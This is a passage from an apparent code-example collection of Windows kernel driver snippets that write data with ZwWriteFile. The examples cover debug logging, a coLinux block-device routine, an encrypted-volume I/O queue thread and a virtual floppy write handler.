    if (!fileName.Buffer)
    {
        return FALSE;
    }
    RtlZeroMemory(fileName.Buffer, fileName.MaximumLength);
    status = RtlAppendUnicodeToString(&fileName, (PWSTR)DEFAULT_LOG_FILE_NAME);

	//DbgPrint("\n Initializing Object attributes");

	InitializeObjectAttributes (&objectAttributes,
								(PUNICODE_STRING)&fileName,
								OBJ_CASE_INSENSITIVE,
								NULL,
								NULL );

	DbgPrint("\n BusLogic - Creating the file");

	status = ZwCreateFile(&FileHandle,
					  FILE_APPEND_DATA | SYNCHRONIZE,
					  &objectAttributes,
					  &IoStatus,
					  0,
					  FILE_ATTRIBUTE_NORMAL,
					  FILE_SHARE_WRITE,
					  FILE_OPEN_IF,
					  FILE_SYNCHRONOUS_IO_NONALERT,
					  NULL,
					  0 );

	if(NT_SUCCESS(status))
	{
		CHAR buf[300];
		LARGE_INTEGER time;
		KeQuerySystemTime(&time);

		DbgPrint("\n BusLogic - Created the file");

		//put a time stamp on the output message
		sprintf(buf,"%10u-%10u  %s",time.HighPart,time.LowPart,messagebuf);

		//format the string to make sure it appends a newline carrage-return to the
		//end of the string.
		Length=strlen(buf);
		if(buf[Length-1]=='\n')
		{
			buf[Length-1]='\r';
			strcat(buf,"\n");
			Length++;
		}
		else
		{
			strcat(buf,"\r\n");
			Length+=2;
		}

		buf[Length+1] = '\0';
		DbgPrint("\n BusLogic - Writing to the file");
		DbgPrint("\n BusLogic - Buf = %s", buf);

		status = ZwWriteFile(FileHandle,
				  NULL,
				  NULL,
				  NULL,
				  &IoStatus,
				  buf,
				  Length,
				  NULL,
				  NULL );

		ZwClose(FileHandle);
	}
	if (fileName.Buffer)
        ExFreePool (fileName.Buffer);

	return STATUS_SUCCESS;
}
Пример #26
0
void DebugPrintSystemThread(IN PVOID Context)
{
	UNICODE_STRING DebugPrintName;
	OBJECT_ATTRIBUTES ObjectAttributes;
	IO_STATUS_BLOCK IoStatus;
	HANDLE DebugPrintDeviceHandle;
	LARGE_INTEGER OneSecondTimeout;
	PDEBUGPRINT_EVENT pEvent;
	PLIST_ENTRY pListEntry;
	ULONG EventDataLen;
	NTSTATUS status;
	//LARGE_INTEGER ByteOffset;

	KeSetPriorityThread(KeGetCurrentThread(),LOW_REALTIME_PRIORITY);

	//创建文件
	
	RtlInitUnicodeString(&DebugPrintName,L"\\Device\\PHDDebugPrint");
	
	InitializeObjectAttributes(&ObjectAttributes,&DebugPrintName,OBJ_CASE_INSENSITIVE,NULL,NULL);
	
	DebugPrintDeviceHandle=NULL;
	status=ZwCreateFile(&DebugPrintDeviceHandle,
		GENERIC_READ|GENERIC_WRITE|SYNCHRONIZE,
		&ObjectAttributes,
		&IoStatus,
		0,
		FILE_ATTRIBUTE_NORMAL,
		FILE_SHARE_READ|FILE_SHARE_WRITE,
		FILE_OPEN,
		FILE_SYNCHRONOUS_IO_NONALERT,
		NULL,
		0);
	if(!NT_SUCCESS(status)||DebugPrintDeviceHandle==NULL)
		goto exit1;

	//线程主循环代码,写文件

	DBGPRINT(("XIAN CHENG KAI SHI"));
	
	OneSecondTimeout.QuadPart=-1i64*1000000i64;

	DebugPrintStarted=TRUE;

	while(TRUE)
	{
		KeWaitForSingleObject(&ThreadEvent,Executive,KernelMode,FALSE,&OneSecondTimeout);
		
		while(TRUE)
		{
			pListEntry=ExInterlockedRemoveHeadList(&EventList,&EventListLock);
			if(pListEntry==NULL)
			{
				//DBGPRINT(("WOKAOHAIMEILIANSHANG"));
				break;
			}
			else
			{
				DBGPRINT(("YOU QING KUANG"));
			}

			pEvent=
				CONTAINING_RECORD(pListEntry,DEBUGPRINT_EVENT,ListEntry);
			EventDataLen=pEvent->Len;

			status=ZwWriteFile(DebugPrintDeviceHandle,NULL,NULL,NULL,
				&IoStatus,pEvent->EventData,EventDataLen,NULL,NULL);

			if(!NT_SUCCESS(status))
			{
				DBGPRINT("MEI FA XIE A");
			}
			else
			{
				DBGPRINT("WO XIE!");
			}
			ExFreePool(pEvent);
		}

	if(ExitNow)
		break;
	}
exit1:
	if(ThreadObjectPointer!=NULL)
	{
		ObDereferenceObject(&ThreadObjectPointer);
		ThreadObjectPointer=NULL;
	}

	/////////////////////////////////////
	//有待商榷
	DebugPrintStarted=FALSE;
	
	ZwClose(DebugPrintDeviceHandle);
	/////////////////////////////////////

	KeSetEvent(&ThreadExiting,0,FALSE);
	
	PsTerminateSystemThread(STATUS_SUCCESS);	
}
Пример #27
0
static co_rc_t co_os_file_block_async_read_write(co_monitor_t *monitor,
				    HANDLE file_handle,
				    unsigned long long offset,
				    vm_ptr_t address,
				    unsigned long size,
				    bool_t read,
				    int unit,
				    void *irq_request)
{
	co_rc_t rc;
	NTSTATUS status;

	// Prepare callback
	callback_context_t *context = co_os_malloc(sizeof (callback_context_t));
	if (!context)
		return CO_RC(OUT_OF_MEMORY);
	co_memset(context, 0, sizeof(callback_context_t));

	context->monitor = monitor;
	context->offset.QuadPart = offset;
	context->size = size;
	context->msg.message.from = CO_MODULE_COBD0 + unit;
	context->msg.message.to = CO_MODULE_LINUX;
	context->msg.message.priority = CO_PRIORITY_DISCARDABLE;
	context->msg.message.type = CO_MESSAGE_TYPE_OTHER;
	context->msg.message.size = sizeof (context->msg) - sizeof (context->msg.message);
	context->msg.linux_message.device = CO_DEVICE_BLOCK;
	context->msg.linux_message.unit = unit;
	context->msg.linux_message.size = sizeof (context->msg.intr);
	context->msg.intr.irq_request = irq_request;

	// map linux kernal memory into host memory
	rc = co_monitor_host_linuxvm_transfer_map(
		monitor,
		address,
		size,
		&context->start,
		&context->page,
		&context->pfn);

	if (CO_OK(rc)) {
		if (read) {
			status = ZwReadFile(file_handle,
				    NULL,
				    (PIO_APC_ROUTINE) transfer_file_block_callback,
				    context,
				    &context->isb,
				    context->start,
				    size,
				    &context->offset,
				    NULL);
			co_debug_lvl(filesystem, 10, "cobd%d read status %X", unit, (int)status);
		} else {
			status = ZwWriteFile(file_handle,
				     NULL,
				     (PIO_APC_ROUTINE) transfer_file_block_callback,
				     context,
				     &context->isb,
				     context->start,
				     size,
				     &context->offset,
				     NULL);
			co_debug_lvl(filesystem, 10, "cobd%d write status %X", unit, (int)status);
		}

		if (status == STATUS_PENDING || status == STATUS_SUCCESS)
			return CO_RC(OK);
		
		rc = co_status_convert(status);
		co_debug("block io failed: %p %lx (reason: %x)", context->start, size, (int)status);
		co_monitor_host_linuxvm_transfer_unmap(monitor, context->page, context->pfn);
	}

	co_os_free(context);
	return rc;
}
Пример #28
0
/**
* 写日志函数
* @param iLevel:ULONG,要写入日志信息的等级,请参考LogConst.h文件内等级。
* @param format:NTSTRSAFE_PSTR*,输入信息的格式,此格式参考printf。
* @param ...:变参,参考printf,要写入的信息。
* 写日志信息接口,写日志信息大小请不要超过规定长度的大小!最大暂时为256字节!!
*/
void _cdecl WriteSysLog(ULONG iLevel, NTSTRSAFE_PWSTR format,...)
{
	//判断记录日志级别
	if(iLevel > g_logLevel)
		return;

	//获得互斥体,在下面的调用中,所有的函数退出部分都要进行释放互斥体
	KeWaitForSingleObject(&g_logMutex, Executive, KernelMode, FALSE, NULL);
	
	HANDLE logfile;
	OBJECT_ATTRIBUTES   objectAttributes;
	IO_STATUS_BLOCK		ioStatus;
	NTSTATUS ntStatus;
	
	InitializeObjectAttributes(&objectAttributes,&g_logFileName,OBJ_CASE_INSENSITIVE,NULL, NULL);

	
	ntStatus = ZwCreateFile(&logfile,FILE_READ_ATTRIBUTES | FILE_APPEND_DATA | SYNCHRONIZE,
				&objectAttributes,&ioStatus,NULL,FILE_ATTRIBUTE_NORMAL,
				FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);
	if(!NT_SUCCESS(ntStatus) )
	{
		KeReleaseMutex(&g_logMutex,FALSE);
		KdPrint( ("Strategy:%d:Init Open file error!\n",g_logStrategy) );
		return;
	}

	//判断文件大小处理的函数
	if(g_logWriteTime >= CHECK_TIME)
	{
		if(g_logStrategy == 1)
		{
			ntStatus = CheckLogFileSizeAndReCreateLogFile(&g_logFileName,1,logfile);

			if(!NT_SUCCESS(ntStatus) )
			{
				KeReleaseMutex(&g_logMutex,FALSE);
				KdPrint( ("Strategy:%d:Init Open file error!\n",g_logStrategy) );
				return;
			}
		}

		g_logWriteTime = 0;
	}

	TIME_FIELDS ctime;
	ctime = GetLocalTime();
	ULONG pid = (ULONG)PsGetCurrentProcessId();
	PWCHAR ptype;

	switch(iLevel)
	{
		case LOG_TYPE_ERROR:	ptype = L"ERROR";break;
		case LOG_TYPE_WARN:		ptype = L"WARNING";break;
		case LOG_TYPE_INFO:		ptype = L"INFO";break;
		default:				ptype = L"DEBUG";break;
	}
    WCHAR strTemp[MAX_INFO_LENGTH];
    RtlZeroMemory(strTemp, MAX_INFO_LENGTH);
    NTSTRSAFE_PWSTR pinfo = strTemp;

 	va_list args; 
    va_start(args,format); 
	ntStatus =::RtlStringCchVPrintfW(pinfo,MAX_INFO_LENGTH*sizeof(WCHAR),format,args);
	if( !NT_SUCCESS(ntStatus) )
	{
		DbgPrint( ("Log info conversion error1!\n") );
		ZwClose(logfile);
		KeReleaseMutex(&g_logMutex,FALSE);
		//在函数所有的出口释放互斥体
		return;
	}
    va_end(args); 

	WCHAR cinfo[MAX_INFO_LENGTH*2];
	RtlZeroMemory(cinfo,MAX_INFO_LENGTH*2*sizeof(WCHAR));//清0,为了下面的操作顺利
	ntStatus = RtlStringCchPrintfW(cinfo,MAX_INFO_LENGTH*2*sizeof(WCHAR), L"%04d-%02d-%02d %02d:%02d:%02d.%03d\t%d\t%s\t%s\r\n", ctime.Year, ctime.Month, ctime.Day, 
		ctime.Hour, ctime.Minute, ctime.Second, ctime.Milliseconds,pid,ptype,pinfo);
	if( !NT_SUCCESS(ntStatus) )
	{
		DbgPrint( ("Log info conversion error2!\n") );
		//在函数所有的出口释放互斥体
		ZwClose(logfile);
		KeReleaseMutex(&g_logMutex,FALSE);
		return;
	}

	size_t length;
	ntStatus = RtlStringCchLengthW(cinfo,MAX_INFO_LENGTH*2,&length);
	if( !NT_SUCCESS(ntStatus) )
	{
		DbgPrint( ("Log info conversion error3!\n") );
		//在函数所有的出口释放互斥体
		ZwClose(logfile);
		KeReleaseMutex(&g_logMutex,FALSE);
		return;
	}
	ntStatus = ZwWriteFile(logfile,NULL,NULL,NULL,&ioStatus,cinfo,length*sizeof(WCHAR),NULL,NULL);
	if( !NT_SUCCESS(ntStatus) )
	{
		DbgPrint( ("Write log error!\n") );
		ZwClose(logfile);
		//在函数所有的出口释放互斥体
		KeReleaseMutex(&g_logMutex,FALSE);
		return;
	}
	g_logWriteTime ++;//增加写入次数

	ZwClose(logfile);
	KeReleaseMutex(&g_logMutex,FALSE);
	//KdPrint( ("write log successful!\n") );
}
Пример #29
0
static VOID IoThreadProc (PVOID threadArg)
{
	EncryptedIoQueue *queue = (EncryptedIoQueue *) threadArg;
	PLIST_ENTRY listEntry;
	EncryptedIoRequest *request;

	KeSetPriorityThread (KeGetCurrentThread(), LOW_REALTIME_PRIORITY);

	if (!queue->IsFilterDevice && queue->SecurityClientContext)
	{
#ifdef DEBUG
		NTSTATUS status =
#endif
		SeImpersonateClientEx (queue->SecurityClientContext, NULL);
		ASSERT (NT_SUCCESS (status));
	}

	while (!queue->ThreadExitRequested)
	{
		if (!NT_SUCCESS (KeWaitForSingleObject (&queue->IoThreadQueueNotEmptyEvent, Executive, KernelMode, FALSE, NULL)))
			continue;

		if (queue->ThreadExitRequested)
			break;

		while ((listEntry = ExInterlockedRemoveHeadList (&queue->IoThreadQueue, &queue->IoThreadQueueLock)))
		{
			InterlockedDecrement (&queue->IoThreadPendingRequestCount);
			request = CONTAINING_RECORD (listEntry, EncryptedIoRequest, ListEntry);
			
#ifdef TC_TRACE_IO_QUEUE
			Dump ("%c   %I64d [%I64d] roff=%I64d rlen=%d\n", request->Item->Write ? 'W' : 'R', request->Item->OriginalIrpOffset.QuadPart, GetElapsedTime (&queue->LastPerformanceCounter), request->Offset.QuadPart, request->Length);
#endif

			// Perform IO request if no preceding request of the item failed
			if (NT_SUCCESS (request->Item->Status))
			{
				if (queue->IsFilterDevice)
				{
					if (queue->RemapEncryptedArea && request->EncryptedLength > 0)
					{
						if (request->EncryptedLength != request->Length)
						{
							// Up to three subfragments may be required to handle a partially remapped fragment
							int subFragment;
							byte *subFragmentData = request->Data;

							for (subFragment = 0 ; subFragment < 3; ++subFragment)
							{
								LARGE_INTEGER subFragmentOffset;
								ULONG subFragmentLength;
								subFragmentOffset.QuadPart = request->Offset.QuadPart;

								switch (subFragment)
								{
								case 0:
									subFragmentLength = (ULONG) request->EncryptedOffset;
									break;

								case 1:
									subFragmentOffset.QuadPart += request->EncryptedOffset + queue->RemappedAreaOffset;
									subFragmentLength = request->EncryptedLength;
									break;

								case 2:
									subFragmentOffset.QuadPart += request->EncryptedOffset + request->EncryptedLength;
									subFragmentLength = (ULONG) (request->Length - (request->EncryptedOffset + request->EncryptedLength));
									break;
								}

								if (subFragmentLength > 0)
								{
									if (request->Item->Write)
										request->Item->Status = TCWriteDevice (queue->LowerDeviceObject, subFragmentData, subFragmentOffset, subFragmentLength);
									else
										request->Item->Status = TCCachedRead (queue, NULL, subFragmentData, subFragmentOffset, subFragmentLength);

									subFragmentData += subFragmentLength;
								}
							}
						}
						else
						{
							// Remap the fragment
							LARGE_INTEGER remappedOffset;
							remappedOffset.QuadPart = request->Offset.QuadPart + queue->RemappedAreaOffset;

							if (request->Item->Write)
								request->Item->Status = TCWriteDevice (queue->LowerDeviceObject, request->Data, remappedOffset, request->Length);
							else
								request->Item->Status = TCCachedRead (queue, NULL, request->Data, remappedOffset, request->Length);
						}
					}
					else
					{
						if (request->Item->Write)
							request->Item->Status = TCWriteDevice (queue->LowerDeviceObject, request->Data, request->Offset, request->Length);
						else
							request->Item->Status = TCCachedRead (queue, NULL, request->Data, request->Offset, request->Length);
					}
				}
				else
				{
					IO_STATUS_BLOCK ioStatus;

					if (request->Item->Write)
						request->Item->Status = ZwWriteFile (queue->HostFileHandle, NULL, NULL, NULL, &ioStatus, request->Data, request->Length, &request->Offset, NULL);
					else
						request->Item->Status = TCCachedRead (queue, &ioStatus, request->Data, request->Offset, request->Length);

					if (NT_SUCCESS (request->Item->Status) && ioStatus.Information != request->Length)
						request->Item->Status = STATUS_END_OF_FILE;
				}
			}

			if (request->Item->Write)
			{
				queue->ReadAheadBufferValid = FALSE;

				ReleaseFragmentBuffer (queue, request->Data);

				if (request->CompleteOriginalIrp)
				{
					CompleteOriginalIrp (request->Item, request->Item->Status,
						NT_SUCCESS (request->Item->Status) ? request->Item->OriginalLength : 0);
				}

				ReleasePoolBuffer (queue, request);
			}
			else
			{
				BOOL readAhead = FALSE;

				if (NT_SUCCESS (request->Item->Status))
					memcpy (request->OrigDataBufferFragment, request->Data, request->Length);

				ReleaseFragmentBuffer (queue, request->Data);
				request->Data = request->OrigDataBufferFragment;

				if (request->CompleteOriginalIrp
					&& queue->LastReadLength > 0
					&& NT_SUCCESS (request->Item->Status)
					&& InterlockedExchangeAdd (&queue->IoThreadPendingRequestCount, 0) == 0)
				{
					readAhead = TRUE;
					InterlockedIncrement (&queue->OutstandingIoCount);
				}

				ExInterlockedInsertTailList (&queue->CompletionThreadQueue, &request->CompletionListEntry, &queue->CompletionThreadQueueLock);
				KeSetEvent (&queue->CompletionThreadQueueNotEmptyEvent, IO_DISK_INCREMENT, FALSE);

				if (readAhead)
				{
					queue->ReadAheadBufferValid = FALSE;
					queue->ReadAheadOffset.QuadPart = queue->LastReadOffset.QuadPart + queue->LastReadLength;
					queue->ReadAheadLength = queue->LastReadLength;

					if (queue->ReadAheadOffset.QuadPart + queue->ReadAheadLength <= queue->MaxReadAheadOffset.QuadPart)
					{
#ifdef TC_TRACE_IO_QUEUE
						Dump ("A   %I64d [%I64d] roff=%I64d rlen=%d\n", request->Item->OriginalIrpOffset.QuadPart, GetElapsedTime (&queue->LastPerformanceCounter), queue->ReadAheadOffset, queue->ReadAheadLength);
#endif
						if (queue->IsFilterDevice)
						{
							queue->ReadAheadBufferValid = NT_SUCCESS (TCReadDevice (queue->LowerDeviceObject, queue->ReadAheadBuffer, queue->ReadAheadOffset, queue->ReadAheadLength));
						}
						else
						{
							IO_STATUS_BLOCK ioStatus;
							queue->ReadAheadBufferValid = NT_SUCCESS (ZwReadFile (queue->HostFileHandle, NULL, NULL, NULL, &ioStatus, queue->ReadAheadBuffer, queue->ReadAheadLength, &queue->ReadAheadOffset, NULL));
							queue->ReadAheadLength = (ULONG) ioStatus.Information;
						}
					}

					DecrementOutstandingIoCount (queue);
				}
			}
		}
	}

	PsTerminateSystemThread (STATUS_SUCCESS);
}
Пример #30
0
//
//	Write sectors from write buffer into image file or RAM image buffer
//
VOID
VfdWriteData(
	IN		PDEVICE_EXTENSION	DeviceExtension,
	IN OUT	PIRP				Irp,
	IN		ULONG				Length,
	IN		PLARGE_INTEGER		Offset)
{
	PVOID buf;

	VFDTRACE(VFDINFO,("[VFD] VfdWriteData - IN\n"));

	buf = MmGetSystemAddressForMdlPrettySafe(
		Irp->MdlAddress, NormalPagePriority);

	if (!buf) {
		VFDTRACE(0,
			("[VFD] MmGetSystemAddressForMdlPrettySafe\n"));

		Irp->IoStatus.Status = STATUS_INSUFFICIENT_RESOURCES;
		return;
	}

	if (DeviceExtension->FileHandle) {

		//	Write into image file
		Irp->IoStatus.Status = ZwWriteFile(
			DeviceExtension->FileHandle,
			NULL,
			NULL,
			NULL,
			&Irp->IoStatus,
			buf,
			Length,
			Offset,
			NULL);

		if (NT_SUCCESS(Irp->IoStatus.Status)) {
			Irp->IoStatus.Information = Length;
		}
		else {
			VFDTRACE(0,
				("[VFD] ZwWriteFile - %s\n",
				GetStatusName(Irp->IoStatus.Status)));
		}
	}
	else if (DeviceExtension->FileBuffer) {

		//	Deal with the modify flag
		if (RtlCompareMemory(
			DeviceExtension->FileBuffer + Offset->QuadPart,
			buf, Length) != Length) {
			DeviceExtension->MediaFlags |= VFD_FLAG_DATA_MODIFIED;
		}

		//	Copy into RAM image buffer
		RtlMoveMemory(
			DeviceExtension->FileBuffer + Offset->QuadPart,
			buf, Length);

		Irp->IoStatus.Status = STATUS_SUCCESS;
		Irp->IoStatus.Information = Length;
	}
	else {
		//	no image opened
		Irp->IoStatus.Status = STATUS_NO_MEDIA_IN_DEVICE;
	}

	VFDTRACE(VFDINFO,("[VFD] VfdWriteData - %s\n",
		GetStatusName(Irp->IoStatus.Status)));

	return;
}